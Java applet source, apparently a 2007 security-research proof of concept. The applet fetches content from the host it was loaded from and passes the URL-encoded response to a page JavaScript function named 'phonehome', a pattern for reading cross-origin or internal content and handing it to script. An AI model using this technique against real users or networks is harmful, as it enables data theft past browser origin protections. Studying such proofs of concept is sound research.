/**************************************************************** * Copyright (c) 2007, Gregory Fleischer (gfleischer@gmail.com) * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. The names of the authors may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. ****************************************************************/ import java.applet.*; import java.awt.*; import java.net.*; import java.io.*; import netscape.javascript.*; public class CorruptedApplet extends Applet { public void init() { } public void start() { try { JSObject win = JSObject.getWindow(this); String codebase = getCodeBase().toString(); String host = getCodeBase().getHost(); int port = getCodeBase().getPort(); if (port <= 0) { port = 80; } log("initialized from: " + codebase); Socket socket = null; Boolean use_socket = false; try { Object o = win.getMember("use_socket"); log("use socket: " + o); use_socket = (Boolean)o; } catch (Exception x) { log("ignoring: " + x.toString()); } try { log("sending request [" + host + ":" + port + "]"); BufferedReader reader; if (use_socket) { socket = new Socket(host, port); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())); reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); writer.write("GET / HTTP/1.0\r\n"); writer.write("Host: " + host + "\r\n"); writer.write("\r\n"); writer.flush(); } else { URL u = new URL("http://" + host + ":" + port + "/"); URLConnection c = u.openConnection(); c.setRequestProperty("Host", host); reader = new BufferedReader(new InputStreamReader(c.getInputStream())); } String line; StringBuffer data = new StringBuffer(); while ( (line = reader.readLine()) != null) { data.append(line); data.append("\r\n"); } String encoded = java.net.URLEncoder.encode(data.toString(), "UTF-8"); win.eval("phonehome('" + encoded + "')"); } catch (Exception e) { log("error: " + e.toString()); } if (null != socket) { socket.close(); } } catch (Exception e) { log("error: " + e.toString()); } } private void log(String s) { add(new Label(s)); } public void paint(Graphics g) { g.drawRect(0, 0, getWidth() - 1, getHeight() - 1); } }